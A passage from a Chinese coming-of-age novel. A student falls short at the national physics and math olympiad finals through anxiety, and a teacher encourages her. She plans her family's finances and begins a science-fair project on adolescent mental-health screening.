“你的反应速度是不是比我们都快啊?” “难怪你八百米跑那么快!上次体育测试,楚天青跑了第一,你跑第二,而且你还一点都不喘!” 顾思安红光满面,嘴角止不住上扬:“所以啊,我不怕陆子昂。我只怕那种笑面虎,不打架,就会玩阴的……真要打起架来,我自有办法……不过我也不随便打人啊,我主张以德服人。” 顾思安的同桌又“哇”了一声:“好有风范啊!” “那,你的胳膊还疼吗?”楚天青小心翼翼地问了一句。 顾思安转过头来,看见楚天青,随意地挥了挥手:“没事啦,我上次摔跤都摔得比这个严重多了。” 楚天青点头,没再多说一句话。 这场风波,似乎就这样彻底平息了。 第二天早晨,郑相宜回来了。 陆子昂,却没再出现了。 王老师派人把陆子昂抽屉里的东西都收拾出来,通过快递寄走了。陆子昂的座位已经空了。 班上有同学说,陆子昂转学了,也有同学说,陆子昂的父母打算送他出国。 同学们对此心照不宣,就连陆子昂的同桌都不再为陆子昂说话了,仿佛一夜之间,所有人都达成了某种默契。 班上的气氛比往日轻松了许多,平静而安稳。楚天青在恍惚中意识到,原来,有些风波过去了,就是过去了,不必想太多,也不必再害怕,那只会让自己越陷越深。 当天晚上,楚天青坐在寝室的床上,把手机贴在耳边,拨通了妈妈的号码。她想把这两天发生的事讲给妈妈听。 然而,妈妈迟迟没有接听。 楚天青皱了一下眉头,又拨给了外婆,还是没人接。 她又拨打了爸爸的号码,结果依然一样。 楚天青攥紧了手机。她反复拨打了几次,每一次都是无尽的盲音。 或许……他们只是太忙了吧? 楚天青想了想,抱紧了床上的毛绒鲨鱼,又拨通了小姨的电话。 小姨在本省另一个城市经营一家小餐馆,营业时间从早上八点到晚上十点,节假日也不休息。 小姨平时总是很忙,楚天青一般不会打扰她。但是,此时此刻,楚天青实在找不到能帮助自己的人。 不过几秒钟后,小姨的声音从手机里传来:“宝宝?” 楚天青急忙说:“小姨,我给妈妈、爸爸、还有外婆打电话,都没人接……” 小姨愣了一下,才说:“哎,好像是哎?我下午还给你妈和你外婆打过电话呢,她们也没接。” “下午就没接吗?”楚天青低声重复了一遍。 这一瞬间,她的耳朵里嗡嗡作响,耳鸣又突然发作了。 “可是太忙了?”小姨的餐馆里人声鼎沸,她正在招待客人,同时回复楚天青,“你别急啊,先等等,等到明天早上……我晚点再给你打过去。” “好的,小姨。”楚天青挂断了小姨的电话。 惊慌与恐惧交织在一起,压得楚天青喘不上来气。可就在强烈的窒息感之中,一股怒火也从心底升了起来,暴烈的怒火,彻底点燃了她的神智。 她恼恨自己太软弱,又担心家人真的出事了。百感交集之下,她反倒冷静下来,一把将怀里的毛绒鲨鱼扔到床角,狠狠地砸在栏杆上。 她盘腿坐在床上,闭上眼睛,强迫自己慢慢理清思绪。 最后一次和妈妈通话,是昨天中午,妈妈给王老师打了电话,楚天青从王老师的手机里听到妈妈说,妈妈会尽快赶到学校,楚天青拒绝了。 当时妈妈和外婆正在小吃摊上,洗菜、备菜,为午饭的客流高峰做准备。那个小吃摊上的食材一向是当天买、当天做,如此一来,才能吸引回头客。 按理说,忙完了中午的生意,下午三四点、或者晚上收摊之后,妈妈应该会给她发消息,哪怕只是简单报个平安,问一问她今天白天过得怎么样?可她什么都没收到。 连一句话、一个字都没有。 到了今天早晨,依旧没有任何新消息。 这很不正常。 楚天青双手交握,思绪在脑海中渐渐沉淀。她记起了爸爸工友的手机号。 三个月前,爸爸当着她的面,给工友打过电话,屏幕上一秒闪现的号码,她也能想起来。 楚天青拿起手机,输入数字,拨了过去。电话响了两声,对面就接通了,那人说话时,带着熟悉的乡音:“喂,你是哪位呦?” 楚天青改用方言回答:“我是楚来顺的女儿,我爸电话一直打不通,叔叔,今天你在工地上可曾看到过我爸?” 叔叔说:“看到了呀,今天早上你爸还来喽,后来接了个电话,说他老婆……哦呦,就是你妈,进医院了,他急匆匆就跑去医院了。” 楚天青的心猛地一跳:“那我爸有说……我妈为什么进医院了吗?” 叔叔想了想,才回答:“唉,这个我就不晓得了。他也没细说……我就记得他好像说,是去什么附属第一医院,好像是全省最好的那家医院吧?听说那里可贵了啊,一次检查就要好多钱咯……” 附属第一医院? 楚天青深深地叹了一口气。她唯一认识的,与那家医院有关系的人,就是纪明川。 纪明川的父母都在省城大学附属第一医院工作,而且都是各自科室的主治医师。 44 失手 楚天青越是这样想,心里的压迫感就越沉重。 当天晚上,她复习到了深夜。 那些知识点,她早就记住了,但她无法停止学习。她的强迫症彻底爆发了。她一遍又一遍地默记公式、推理思路,仿佛只有靠死记硬背才能暂时麻痹心中的恐慌与焦虑。 第二天上午,考试正式开始。 考场里坐满了来自全国各地的顶尖高手,在一片沉寂之中,楚天青环视四周,每个人的眼神都是十分的冷静专注。试卷发下来的那一刻,无人说话,无人叹息,只有竞争的压力落在身上,化作一只僵硬的手,掐住了楚天青的脖颈。 楚天青有些喘不上来气了。她努力镇定下来,低头看着试卷。她的听觉一向灵敏,却在此时变成了一种负担。 铅笔在纸面飞快滑动的声音,同学翻过试卷的轻响,全都在她脑海里无限放大,像是一根根细针,戳在她敏感的神经上。 她的手心开始冒汗。 她正在写题,也能确认自己的思路没错,推导过程还是熟悉的逻辑,可她的大脑突然迟钝了,解题速度比平时慢了许多。 她的思绪又飘回了家里。 妈妈的体检报告单上写满了异常数值,迟迟无法和她说话。 外婆也没给她打来一个电话,难道外婆真的只是“在家里补觉”吗? 楚天青咬紧牙关,努力把注意力放在试卷上,眼前却又闪过陆子昂的身影。 陆子昂已经转学了,彻底离开了她的世界。 可是,那些风波,真的随着他的离开而结束了吗? 她不敢确定。 家里出了这么大的事,是不是因为她在学校惹到了麻烦? 妈妈、爸爸、外婆……是不是已经被她连累了? 如果这一次考试失败了,没有金奖,没有入选全国集训营,省立一中还会像以前那样保护她、相信她吗? 她还想到了纪明川、顾思安、郑相宜、许月亭。他们都说,她一定能考到第一名,果真如此吗? 这些问题,都没有答案。 这一瞬间,恐惧如海啸一般袭来,又如山崩一般砸落。在全国物理竞赛的决赛考场上,她无法自控地开始幻想,如果从此以后,她不再像从前那样聪明了怎么办? 省立一中还会继续收留她吗? 家里的欠债,还能还清吗? 她以后该怎么面对同学和老师? 陆子昂一家对她步步紧逼,她又应该如何反击?! 冷汗顺着脊骨一滴滴渗出来,整张试卷上,蒙着一层雾气,她连题目都读不进去。 她使劲掐住自己的大腿,隔着一层布料,指尖下的皮肤已经发红发紫,很疼,很疼,可她的注意力还是无法集中。 距离考试结束只剩下一个小时,而她竟然连第二大题都没写完。这样的惨烈失误,是她从未经历过的。 全国物理决赛的理论试题,一共只有四道大题,每一道都有多个小问。她挣扎着写完了第二大题,抬头看了一眼墙上的挂钟,时间只剩四十分钟。 她强迫自己不要再关注时间,不要再胡思乱想,左手的食指和中指却已经深深掐进了掌心里。 她闭了闭眼,又睁开眼,开始动笔计算第三大题。 如果能恢复平时的速度,她还是可以轻松写完的。 但她的强迫症又一次拖累了她。 时间已经如此紧张了,她竟然还想检查自己的答案,反复验算,生怕哪一个回答存在一点点纰漏。她知道自己写的都是对的,但手指还是不听使唤地翻动着试卷。 “考试时间,还剩十五分钟。”监考老师的声音冷冷传来。 楚天青的呼吸停止了一瞬。她还没写完第三大题。 她疯狂动笔,笔尖划破纸面,“嘶啦”一声,杂乱地响在耳边,她把自己的指节捏得发白。 终于,在铃声响起的前一秒,她写完了第三大题。但她甚至没来得及翻到第四大题的第一页。 交卷的那一瞬,她亲眼看见了,坐在她前排的那个同学把答题纸都写满了,第四大题也写完了。 她就知道自己注定失败了。 不可能入选国家集训队,甚至不可能获得金奖。 楚天青站起身时,手脚发软,差点摔倒在地上。她踉跄着走出一步,不敢对任何人提起自己的考试结果。 今天中午的午餐格外丰盛,甚至还有一盘她从未尝过的清蒸三文鱼。鱼肉粉嫩,汤汁鲜香,可她没有丝毫食欲。饭菜的香气钻进鼻腔,反倒引起一阵反胃感。 她什么也没吃,只喝了几口水。 当天晚上,楚天青强迫自己喝了一碗粥,吃了一点榨菜。这榨菜是她自己带来的,没想到还真派上了用场。这一刻,榨菜是她唯一能咽下去的、非流体的食物。 次日上午,全国物理竞赛的实验部分照常进行。这一次,楚天青发挥正常。 但是,实验部分的分值,远低于理论部分。 楚天青在心里反复算了几遍,越算越难过,她注定与金牌无缘,更不可能进入全国集训营。 在竞赛场上,心态,本就是实力的一部分。如果连这一关都过不去,又怎能称得上真正的顶尖水平?全国高手如云,她从来都不是最出色的那个人。 带队老师注意到了楚天青的低落情绪,轻声安慰了楚天青几句。 楚天青勉强听进去了,装作镇定地点头回应:“嗯,是,是的,老师说得对。” 然而她的脑海中依旧是一片混乱。 理论部分的考试成绩在第二天公布了,如同楚天青预料的那般,她未能斩获金奖,甚至没拿到银奖,只拿了一个不痛不痒的铜奖。 同样是省立一中的竞赛生,却有一个男生成功入选了国家物理集训队,名列前茅。这个男生的身高和她差不多。颁奖仪式结束后,她与他在礼堂门口擦肩而过。 楚天青并未回头看他,却能听见,他站在人群之中,接受着来自省队的称赞。 而她只是站在一旁,双手抱臂,也不知道自己的视线飘到了何方? 在上海的这几天,楚天青甚至没有仔细观察过周围的环境。无论是寝室、考场、食堂,还是现在这一座豪华的礼堂,在她眼里,都是朦朦胧胧的,很不真切的样子。 就像一场没有尽头的幻梦。 楚天青返回寝室,默默收拾行李,跟随其他同学一起登上校车。她找了个靠窗的位置,闭上眼睛,睡了一觉。 这一觉醒来,熟悉的天际线重新出现在眼前,她又回到了自己的母校省立一中。 今天恰好是周六。 楚天青在寝室休息了两天,状态仍未完全恢复,又踏上了全国数学竞赛决赛的征途。 这一次,带队老师是段启言。 决赛地点设在长沙市。省队全体成员乘坐高铁,直奔长沙,队友们兴致高涨,还讨论起了长沙的美食。 楚天青生平第一次坐高铁,带上了她心爱的毛绒鲨鱼。窗外的景色飞快掠过,她的脑海里却是一片模糊,身体的疲惫尚未褪去,心中又隐隐浮现出强烈的焦虑感。她不由得抱紧了怀里的小鲨鱼。 发车前,段启言走到她座位旁,半蹲下来,低声安慰她:“我听说你物理决赛拿了铜奖,已经很了不起了,别太苛责自己。数学才是你的强项,别有压力。” 楚天青点头:“谢谢段老师。” 段启言细看她一眼,眉头轻皱:“怎么瘦了这么多?你这几天是不是没吃好?你看看想吃什么盒饭,我给你点一份?” 楚天青摇头:“不用了……真的不用了,谢谢老师。” 段启言记得,楚天青在省城大学集训时,每一顿饭都吃得很香。有一天中午,她在食堂点了一份金枪鱼拌饭,又加了一个鸡腿和一小碟凉拌海带丝,全都吃光了。 段启言当时还心想,孩子能吃是好事,体力跟得上,精力也跟得上,考试的时候,才能把自己的实力发挥出来。 这还不到一个月,楚天青怎么变成这样了? 段启言没再多说,等到火车启动后,他默默在车厢服务台给楚天青买了一份盒饭,是黑椒牛肉套餐。 盒饭送来时,楚天青看到贴在饭盒上的标价,吓了一大跳。她迟疑地看了段启言一眼,又低头看向盒饭,好贵啊,不知道能不能报销?她不敢浪费食物,只好拆开饭盒,一口一口慢慢吃了起来。 这三天来,她几乎没怎么吃过一顿正餐。这顿饭,她吃得有些勉强,但终究,还是吃饱了。 次日,全国数学竞赛决赛在长沙一所高校举行,楚天青还是浑浑噩噩的。昨夜几乎没合眼,此时坐在考场中,她有些头晕,心跳很剧烈,很不规律。 她的情绪依旧紧绷,对考试本身的畏惧,甚至超过了因为担心结果而引起焦虑。 物理已经失败了,数学不能再出差错了。 更何况,段启言对她这样信任,这样照顾,她怎么能一而再、再而三地让老师失望呢? 可是强迫症没放过她,又一次控制了她的节奏。她不断地检查答案,纵然知道这样会拖慢进度,还是无法停下那些机械性的动作。她甚至不再心算了,好像突然失去了一切力气,不再相信自己心算的能力,她动笔在纸上打草稿,一笔一画地验算。 考试时间还剩五分钟时,她终于意识到,来不及了。她没能写完这张试卷,一切都晚了,也完了。 走出考场时,天空是湛蓝色的,她的心情是深灰色的。她不敢面对段启言,只是低着头,默默蹲在教学楼外的台阶角落里,盯着地砖缝隙上缓缓爬过的一只蚂蚁,一动不动。 45 起点 段启言在教学楼的走廊尽头找到了楚天青。 他站在光影交错的窗边,朝她招了招手。她慢慢地走过来,一句话也没说,他已经猜到了结果。 段启言坦白道:“其实我当年竞赛也失败了,我连铜奖都没拿,什么都没有,最后还是靠高考进的北大。说实话,你现在的月考成绩,比我当年强太多了。” 楚天青跟在段启言身后,目光落在地砖上:“老师,我好像……不是害怕考试失败,而是害怕,一旦失败了,就会失去一切。没有人会再重视我、信任我……别人看我的时候,不会再关注我这个人,只会看到我这一次……这一次竞赛……” 她语调哽咽,无法说完这一句话。 段启言在楼梯口停下,微微俯身看着她,仿佛看见了当年的自己:“这只是一次考试,不是你的一生。你得了铜奖,本身就是全国顶尖水平,考985还有政策加分。你这样的成绩,最后上清北完全没问题。” 楚天青抬起头,嗓音沙哑又倔强:“可我和老师不一样……我家里没给我准备任何退路,我只能靠竞赛赚钱。” 段启言点了一下头:“那是我们学校做得还不够,我回去就和校长谈,一定提高对你的补助。” 楚天青没劲走路了。她再次蹲下来了,泪如泉涌:“我真的对不起学校……” 段启言叹了一口气:“你给学校赚到了一块全国决赛铜牌,这已经是多少人梦寐以求的成绩了?如果人人都像你这样,校长早就笑疯了。” 话锋一转,段启言又忍不住问:“楚天青,你以后想做什么?如果进了国家集训队,以后想去做科研吗?我亲眼看过的……进了国家集训队的学生,最后也基本没有做科研的,很多都去做金融了。” 楚天青对“金融”一无所知。 “我想赚钱,”楚天青喃喃自语,坦白说出自己的愿望,“我一直都只想赚钱。” 是的,想赚钱,这是她真正的理想,从未改变过。 她记得,当初郑相宜问过她相同的问题。 郑相宜还问过她,万一失败了怎么办? 她对郑相宜讲起了大道理,头头是道,可是失败真正降临的这一瞬间,她才明白,那些“道理”是多么苍白。 段启言蹲下来,与她平视:“楚天青,听我说,竞赛不是唯一的路。现在我带你一起分析。第一,你需要经济支持,我会解决这件事,让你安心备考。第二,你并不是真的热爱竞赛,也未必适合做基础研究。你现在承受的压力太大,根本没空想未来,对吧?” 楚天青点头:“嗯,是的。” 段启言露出一点笑意:“你知道吗?要是你真进了国家集训队,签了协议、保送清北,那你连高考都不能参加,专业也不能随意选择。这到底是好事还是坏事,要看你究竟想要什么。” 楚天青一下愣住了。 是啊,她差点把高考忘记了。 相比于全国竞赛决赛这种超高难度,高考的试题真是容易得多了。 段启言坐到台阶上,态度依旧温和:“我们这一届,高三竞赛班,一共有九十七个人,你知道能得省一的有几个人吗?不到三十,能进国家集训队的有几个人?最多只有三个。你觉得,剩下的人都是失败者吗?不,他们只是走了另一条路。” 楚天青记得,纪明川、郑相宜、许月亭,他们也没进省队,但他们依旧在努力。 楚天青终于抬起头,远处人潮汹涌,阳光洒在教学楼的玻璃上,映出清晰的倒影。她喃喃道:“距离高考,还有七个月。” 七个月,足够重新开始了。 其实也不是重新开始,那些知识,她早已掌握了。她忽然觉得,自己最大的敌人,好像是自己。 楚天青又开始自言自语:“如果我能控制我自己的身体……那我是不是什么都能做到?” 段启言好像是第一次听见这种说法。他认真想了想,才回答:“是的,不光是你,别人也是。很多人都有拖延症,也在和自己的身体、情绪做斗争,我有时候早上也不想去学校上课……” 楚天青笑了一下。她双手抱膝,把下巴贴近膝盖:“老师,如果我真的进了国家集训队,不参加高考,那我到底能赚多少钱呢……” 段启言望着她的身影,反问:“那你想不想参加高考?” 楚天青还是那句话:“其实,不管是竞赛,还是高考……我没有自己的偏向……我只想赚钱,顺利考上大学。” 楼道里寂静了几秒钟。 段启言压低了声音:“去年我们学校的高考状元,不但拿到了学校的奖励,还拿到了北大的入学奖学金,加起来大概……三十万吧。” 三十万? 楚天青惊呆了。 她猛然一下坐直了,对上段启言的视线。 段启言总算找到了症结所在。他拿出手机,用计算器给楚天青算钱:“我跟你说,你拿到一个竞赛金奖,赚钱最多的不是你,而是我们的教练团队……如果你想用奖牌换钱,其实也得看大学怎么给。比如武汉大学,奥赛金奖入学奖学金是一万元,但它们还有总额三十万元的四年分期奖学金。如果你高考成绩很好,北大那个入学奖学金是一次发放,加上省立一中的奖学金,总共三十万……” 楚天青眨了眨眼:“这些……都是公开的吗?” “当然,”段启言笑了笑,“而且还会有额外的资助项目,学校也会尽力帮你申请。” 他望向了远方:“所以你看,不管走哪条路,前面都不是死路。你只要走下去,就会发现,你的选择从来都不止一条。” 楚天青长舒了一口气,本来觉得自己竞赛失败,已经完全错失了赚大钱的机会,现在看来,好像还不是那么绝望。 不过,还有一个问题。 是她刚刚想出来的。 她双手交握,仰头望着远方的天空,思绪也飞到了远方。 无论现在她身边坐着的人是谁,她都想把自己的心里话说出来:“老师,这一次在全国冬令营里,我见到了真正对数学很感兴趣的同学,或许他们的天赋不如我,但是他们对数学的热爱远远超过了我。所以,我在想,我真正的问题,是不是缺乏动力?” 段启言根本没想到这一层,却也听懂了楚天青的意思。 楚天青不止一次地说过,她之所以参加竞赛,完全是为了赚钱。 她想通过竞赛,为家庭减轻负担。她同时参加了数学、物理两门竞赛。她把数学和物理放在同一个位置上,没有偏爱,也谈不上兴趣。对她而言,它们只是两种可以被利用的工具,是同样坚硬、冰冷的敲门砖。 她能走哪条路,就走哪条。 哪条路可以更快到达终点,她就拼尽全力去奔向哪条。 可她真正热爱的方向是什么,她从没静下心来,仔仔细细思考过。 段启言顺势问了一句:“你对什么是真正感兴趣的?” 楚天青记起了自己最喜欢的书,至今还在她的书架上。之前,获得两万元奖学金之后,她立即在网上把那本书买回来了。她毫不犹豫地说:“量子,还有医学。我喜欢量子计算,第一次在图书馆看到了相关研究,那种世界的构造、信息的传递方式,让我很感兴趣。我也喜欢医学,因为我妈妈和外婆身体都不好,我自己也有情绪问题,所以我能和患者共情,这种共情不会让我痛苦,反而会让我更有力气……” 段启言还没开口,楚天青忽然明白过来了:“我适合做……量子计算与医学交叉领域?” 虽然段启言是省立一中的金牌数学竞赛老师,但他也对量子计算与医学交叉的前沿学科了解甚少。他一时说不出来话,只是附和道:“好,很好啊……” 楚天青扶着楼梯站了起来,当她开始幻想自己的未来,自己喜欢的未来,凌乱的思绪开始归位,像一只原本倾斜的天平,慢慢恢复了重心。 她读过很多与心理学相关的书,明白一个人的脆弱,常常来源于生活中的“支点”太少。 她回忆自己走过的路,细细数来,除了家庭的牵绊,除了三餐的热饭热菜,她几乎无处安放自己真正的信念。 她喜欢吃饭,是真的喜欢,但光是“活着”,还不够。她需要的是“为什么要活”,需要一个能让她站稳脚跟、又敢仰望星空的理由。 就在那一刻,她更加理解了自己的能力。 她适合的,从来不是单一学科的赛道,而是将量子计算和医学结合起来,能真正改变世界的交叉领域,是宏大广阔的未知世界,是前沿科学与人类命运的交汇点。也许未必是量子计算,也许会是脑神经科学,或者大语言模型,无论最终通向哪里,只要是她能投入实践,能亲手改变现实的方向,就是她的前路。 她的逻辑,她的直觉,她的韧性,她对生命深切的关怀都可以在这个领域里找到回响。 她的未来,注定不止一条直线,而是一道光谱,展开出无数种可能,每一条光线都指向远方。 她的天赋,不该困在一块奖牌里。她要跑向更远的地方,也要更多的自由。失败不是终点,而是转折。 46 科技创新大赛 楚天青努力调整了自己的心态,晚饭照常吃完了,睡得也比平时更早一些。 连续两天的数学竞赛,每天四个半小时,整整九小时的高强度解题过程早已耗尽她的精力。 她任由自己放空了两天,没有学习,也没有胡思乱想。直到第三天醒来,才从群里得知,她的数学竞赛竟然也得了铜奖。 当天下午,返程高铁上,楚天青靠在窗边,打开小桌板,从书包里拿出笔记本。 车窗外是不断后退的风景,眼前却是一道全新的题目。 楚天青提笔,在纸上写下,已知条件:现在她获得了数学、物理竞赛全国总决赛的两块铜奖,预计可以获得三万元竞赛奖学金,再加上学校的额外补助项目,本月底之前,她能拿到五万元。 月考在即,她有把握再次考取年级第一,可获得四千元月考奖学金,以及四千元贫困生突出表现奖学金。 再加上她之前赚到的奖金,她的资产总额将会超过七万元。 七万? 楚天青猛地拍了一下桌子,真是不算不知道,一算吓一跳。 她一度因为自己没能拿下金奖而懊悔不已。 如果顺利获得金奖,再进入国家集训队,省立一中会向她发放十万元国家集训奖学金。 但是,这也意味着,她必须在集训队里训练整整一个月,还要参加国际奥林匹克竞赛选拔。这将是一场激烈而漫长的战争,整整半年的时间里,她不会有任何时间去思考别的问题。 楚天青在纸上继续写:“失去,国家集训队名额。得到,寒假一个月休息时间。” 一个月,整整一个月,她可以用来干什么? 她忽然意识到,或许不止一个月。 她已经把高考内容吃透了,学有余力。她的世界,不再只有竞赛一条线,而是可以延展出更广阔的分支。 那七万元,怎么处置呢? 笔尖轻轻划过纸面,楚天青的脑海里浮现出这一周以来的经历。 考试结束了,她的压力也减轻了百分之七十,可以完全冷静下来。 楚天青拿出手机,查了一下学校周边的几个小区,环境不错,租金每月三千,距离大学城和爸爸的工地也不算远,她能承担得起。 第一步,要搬家。 给全家换一个生活环境,人住得好,才能把病养好。 第二步,要改善饮食。 不再让妈妈因为省钱,每天只吃一点点。她可以自己从超市下单,直接配送到家。 楚天青还得和父母好好谈一谈,说清楚这一次竞赛为什么没有拿到金牌。她知道他们会难过,但她也知道他们爱她。只要她和他们认真沟通,他们一定会明白。 想到这里,她的心情轻松了许多。她在纸上写下最后一行字:“如何赚钱?” 既然她的时间宽裕了,又有了启动资金七万元,她决定自己琢磨赚钱的办法,而不是依赖于竞赛奖金。 她一定能赚到钱,更长远的、稳定的赚钱办法。 虽然她心里还有些焦虑,但她知道,焦虑的源头是恐惧。 还有很多事情,尚未发生,既然如此,那就不要再想了,不要再提前为未知而恐惧了。 高铁抵达了省城车站,楚天青拎着行李下车了。她有不少队友什么奖都没拿到,脸上也了流露出几分落寞,但情绪还算稳定。 “往前走吧。”她低声对自己说。 楚天青穿过站台,跟着人潮走向出站口。 只要她不断地往前走,总有一天,她会走到自己想去的地方。 当天回到寝室时,正值周六,整层楼都格外安静,寝室里只有楚天青一个人。 楚天青拿出手机,拨通了妈妈的号码。 这一次,电话接通了。 妈妈的嗓音依旧沙哑,说她和外婆已经回到家中,正在慢慢休养。 听着妈妈的声音,楚天青能猜到,妈妈的身体仍未痊愈。 那些体检报告单的结果,楚天青记得很清楚。但是,她也答应了自己,不要再为尚未发生的事情而焦虑,她要转移注意力,开始解决问题。 楚天青握着手机,轻声道:“妈妈,我拿了两个铜奖,奖金加起来有五万块。我打算给你们换个房子。” 她说得很平静,不是在征求母亲的意见,而是在陈述一个早已决定好的事实。 不等妈妈回应,她又继续说:“我已经把账算清楚了,妈妈。我希望你能相信我。再过四个月,我就十八岁了。” 电话那头沉默了几秒,妈妈似乎还在犹豫:“宝宝……你这些钱,挣得也不容易……” “妈妈,我还会赚更多的钱,”楚天青爬上床,抱紧了那只小鲨鱼,“我突然发现,其实我有很多时间。我的记忆力还是很好,脑力也还好,我可以自己赚钱。” 妈妈叮嘱道:“那你自己心里一定要有数啊。” 楚天青忽然意识到,只要自己态度坚定,妈妈其实不会拒绝她的强烈请求。于是她又说:“妈妈,我想跟外婆说几句。” 很快,手机那头传来了外婆的声音:“哎哟,天青啊,我这不正躺你妈旁边歇着嘛。前阵子我在小吃摊上忙得跟陀螺似的,好些天没合眼了。最近可算闲下来了,这几天补觉,身上也轻快点了。” 果然不该为了还没发生的事而焦虑。之前楚天青非常担心外婆和妈妈,现在想来,既然事情还没发生,那就一定不要提前担心。 楚天青轻声问了一句:“你们都知道我这次只拿了铜奖吧?” 外婆像是根本没当回事,语气依旧轻松:“嗨,我年轻那会儿,上山砍柴,碰上一场大雨,砍刀一下滑沟里去了,柴也泡没了,我当时坐那儿哭半天。可你猜怎么着?雨停了,我下去找刀,捡着几根野生黄精,回头卖了一百多块钱,那时候钱多值钱啊,我给你妈、你小姨买了一堆吃的穿的。” 外婆还说:“有些事,刚发生那会儿,你不知道它是好是坏,再等一阵儿回头看,也许它是来领你换条路的。” 换条路? 挂断电话后,楚天青心绪翻涌,记起了段启言的那句话“很多入选国家集训队的竞赛高手,最后都去做金融了”。 既然竞赛的尽头是金融,那她为什么不提前入行呢? 楚天青并不避讳“赚钱”。竞赛本就是她攒下第一桶金的手段,接下来的目标,更加直接。她决定开始研究股票。 过去因为备战比赛,训练繁重,她没有余力去关注市场走势。而现在,她终于有了启动资金,也有了一点空闲时间。 不过距离她成年还有四个月,等到成年之后,她才能开设股票账户。而且,她也需要休息一段时间,前两个月的密集竞赛训练让她有些累了。 楚天青倒在床上,翻看着段启言交给她的一本资料手册,是省立一中的学生可以申请的所有补助项目合集。 翻着翻着,她忽然看见了一个熟悉又陌生的条目:“少年科学家希望基金。” 由省级科研机构设立,面向高中生开放,支持拥有科研潜力的学生开展早期课题研究,单人资助最高金额为五万元,申报截止日期是,下个月的月底。 她看着那一行字,不由得怔住了。 这个世界并未将她拒之门外。竞赛才刚刚落幕,通往科研的那一扇大门,已经向她打开了一道缝。 相比于竞赛,她更喜欢科研。 不只是“更喜欢”,而是“特别喜欢”。 楚天青立即拿起手机,给王老师发了一条消息:“王老师,您好,我刚才在学校的项目手册里看到了‘少年科学家希望基金’相关的信息,想请问一下这个项目,我们学校现在还有推荐名额吗?” 消息才刚发出去,对话框就弹出“对方正在输入中”的提示。 一分钟后,王老师回复:“你是想参加全国青少年科技创新大赛吧?正好,我们市里这边的报名截止是十二月底,现在才十一月,时间还很宽裕。你在省里获奖,能拿三千奖金,你要是进了全国大赛,后续还有科研单位愿意和你合作,奖金就更不是问题了,五万起步,评奖结果对升学也有帮助。” 说完,王老师还把省立一中负责“科技创新”项目的教室微信名片推给了楚天青。 楚天青添加了对方好友。 这是一位刚满三十岁的年轻女老师,名叫闻之玲,是学校近年来重点引进的青年骨干,闻之玲自己的研究方向是信息技术与安全。 整个周末,楚天青都在与闻老师交流自己的想法。 她向老师坦白,自己曾在图书馆看了许多与心理学有关的书,也自学过计算机算法。 当初她本来还想参加信息竞赛,但是因为时间安排与数学、物理竞赛冲突,她就放弃了信息。 周日晚上,在闻老师的建议下,楚天青确定了自己的科技创新课题《基于改进情感语义模型的青少年心理状态早筛算法设计与应用》。 这个课题,与她自己的知识积累高度相关,也回应了她内心一直牵挂的问题。比起枯燥的理论研究,它更有可能帮助他人,也是她更喜欢的。 更让楚天青惊喜的是,闻老师说,楚天青可以像信息竞赛生一样,使用学校的信息教研室与实验计算平台。 闻老师还发来一条语音:“你最好还是有一台自己的笔记本电脑,你要自己写代码,还要写论文……” 楚天青依然打字回复:“对我来说,还是太贵了一点。” 闻老师的第二条语音带着笑意:“老师这里有一台旧的笔记本电脑,是四年前买的,还能用。如果你不介意,就先拿去试试?” 楚天青激动不已。她缓了几秒钟,才回答:“谢谢老师……真的非常谢谢您。” 消息才刚发出去没多久,闻老师就拎着一台笔记本电脑,从教师宿舍楼出发,走到了楚天青的寝室门前,把电脑和配套的电脑包一并递给她。 “谢谢老师!”楚天青连忙双手接过,“等我比赛一结束,我一定马上还给您。” 闻老师笑着摆手:“用着吧,我们学校这些年里,能认真做科技创新的学生也不多。王老师早就跟我说过你了,说你特别聪明,从小到大都是年级第一,做事专注又不骄傲,老师就喜欢你这样的孩子。” 楚天青由衷地笑了。她抱着笔记本,像是抱住了一个沉甸甸的希望,脚步轻飘飘地往寝室里走。 她简直不敢相信,这可是笔记本电脑啊! 多么昂贵的,高端的东西,现在也落到她的怀里了。 闻老师走后,楚天青迫不及待地拉开拉链,拿出电脑。 熟悉的联想标志亮起,这是一台运行着Windows10系统的老款笔记本。 屏幕略微发亮,机身边缘有些磨痕,但系统运行得很流畅。她指尖在键盘上轻轻触碰,来回滑动。 当然,她也知道,闻老师如此器重她,不仅是因为闻老师人好,更是因为王老师的大力推荐。 王老师大概又把她夸上了天,说不定连“年级第一、竞赛全能、科研潜力股”这些话都说出去了。 楚天青抱着笔记本电脑,坐到床上,链接上了学校的wifi。 她先下载了闻老师发来的参考资料,又忍不住在网上检索了大量关于“量子计算与人工智能”的最新研究论文。 翻着翻着,她忽然在某篇引用量极高的论文中,看到一个熟悉的作者名字,林知夏。 林知夏? 楚天青记得这个名字。她曾经在省立一中的校史馆见过,林知夏是一位毕业多年的学姐,研究方向正是量子计算与人工智能交叉领域。 楚天青一口气读完了林知夏的四篇论文,越看越兴奋。她的心弦被拨动了,却也没想过联系林知夏。 楚天青又点开林知夏在北大的研究组,又看了几篇论文,却发现,林知夏组里的一个学生在网上公开的预发表论文似乎存在一些问题。她忍不住写了一封邮件,发到了那个学生的邮箱里。 在正文中,楚天青简单介绍了自己现在的身份,和她计划参与的项目主题,又直接切入正题,针对这一篇量子图嵌入建模与优化研究论文,点明了那人存在的问题,建议用QRL结构替代原本的VQE。 她写完后又认真检查了三遍,才按下了发送键。 发完后,她其实有点担心,自己是不是太莽撞了? 可是,突然沉浸在这种巨量的信息里,兴奋覆盖了原有的情绪,楚天青甚至来不及焦虑,就把这件事做完了。 周一早晨,楚天青比往常更早抵达了教室。她看见纪明川坐在座位上翻书,宋远舟正看着墙壁发呆。 楚天青走到自己的座位上,笑着打了一声招呼:“早上好,纪明川,宋远舟。” 纪明川转过身来:“好久不见。” 楚天青拉开自己的书包拉链:“其实也就一周多,连两周都不到。” 纪明川没想到楚天青会这么云淡风轻。他拿起自己的保温杯,倒了一杯水,一饮而尽,才问:“你这段时间……过得怎么样?” “挺好的。”楚天青想到了闻老师、笔记本电脑、量子算法的论文,还有林知夏的研究组。 宋远舟在一旁插话:“哎,青神,你怎么才拿了两个铜奖?我以为你会直接冲金的。” 纪明川侧过头,看了宋远舟一眼:“我也只有一个省一,甚至没进省队,甚至没见过铜牌。” 宋远舟也笑了:“那我还是预赛一轮游呢,我说什么了?” 正在一旁拖地的劳动委员冯康突然插话:“你们能去比赛,很不错了,预赛开始前,我和钱老师说,我也想去考一下,钱老师叫我别闹了,快点回班里扫地去。” 宋远舟笑出声来:“哈哈!冯康,你真挺搞笑的。” “还好,”纪明川莫名其妙地争起来了,“其实冯康也不算很搞笑。” 